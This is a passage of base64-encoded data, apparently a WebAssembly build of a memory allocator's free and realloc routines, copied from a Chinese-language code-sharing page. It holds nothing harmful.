ACAGaiAGNgIAIABBrOQAKAIARgRAQaDkACAGNgIADwUgBiECCwsgAkEDdiEDIAJBgAJJBEAgA0EDdEHA5ABqIQFBmOQAKAIAIgJBASADdCIDcQR/IAFBCGoiAygCAAVBmOQAIAIgA3I2AgAgAUEIaiEDIAELIQIgAyAANgIAIAIgADYCDCAAIAI2AgggACABNgIMDwsgAkEIdiIBBH8gAkH///8HSwR/QR8FIAJBDiABIAFBgP4/akEQdkEIcSIBdCIDQYDgH2pBEHZBBHEiBCABciADIAR0IgFBgIAPakEQdkECcSIDcmsgASADdEEPdmoiAUEHanZBAXEgAUEBdHILBUEACyIDQQJ0QcjmAGohASAAIAM2AhwgAEEANgIUIABBADYCEEGc5AAoAgAiBEEBIAN0IgZxRQRAQZzkACAEIAZyNgIAIAEgADYCACAAIAE2AhggACAANgIMIAAgADYCCA8LIAEoAgAhAUEZIANBAXZrIQQgAiADQR9GBH9BAAUgBAt0IQMCQANAIAEoAgRBeHEgAkYNASADQQF0IQQgAUEQaiADQR92QQJ0aiIDKAIAIgYEQCAEIQMgBiEBDAELCyADIAA2AgAgACABNgIYIAAgADYCDCAAIAA2AggPCyABQQhqIgIoAgAiAyAANgIMIAIgADYCACAAIAM2AgggACABNgIMIABBADYCGAurCAELfyAARQRAIAEQEw8LIAFBv39LBEBByOgAQQw2AgBBAA8LIAFBC2pBeHEhBCABQQtJBEBBECEECyAAQXhqIgYgAEF8aiIHKAIAIghBeHEiAmohBQJAIAhBA3EEQCACIARPBEAgAiAEayIBQQ9NBEAgAA8LIAcgCEEBcSAEckECcjYCACAGIARqIgIgAUEDcjYCBCAFQQRqIgMgAygCAEEBcjYCACACIAEQKiAADwtBsOQAKAIAIAVGBEBBpOQAKAIAIAJqIgIgBE0NAiAHIAhBAXEgBHJBAnI2AgAgBiAEaiIBIAIgBGsiAkEBcjYCBEGw5AAgATYCAEGk5AAgAjYCACAADwtBrOQAKAIAIAVGBEBBoOQAKAIAIAJqIgMgBEkNAiADIARrIgFBD0sEQCAHIAhBAXEgBHJBAnI2AgAgBiAEaiICIAFBAXI2AgQgBiADaiIDIAE2AgAgA0EEaiIDIAMoAgBBfnE2AgAFIAcgCEEBcSADckECcjYCACAGIANqQQRqIgEgASgCAEEBcjYCAEEAIQJBACEBC0Gg5AAgATYCAEGs5AAgAjYCACAADwsgBSgCBCIDQQJxRQRAIANBeHEgAmoiCiAETwRAI複製程式碼


相關文章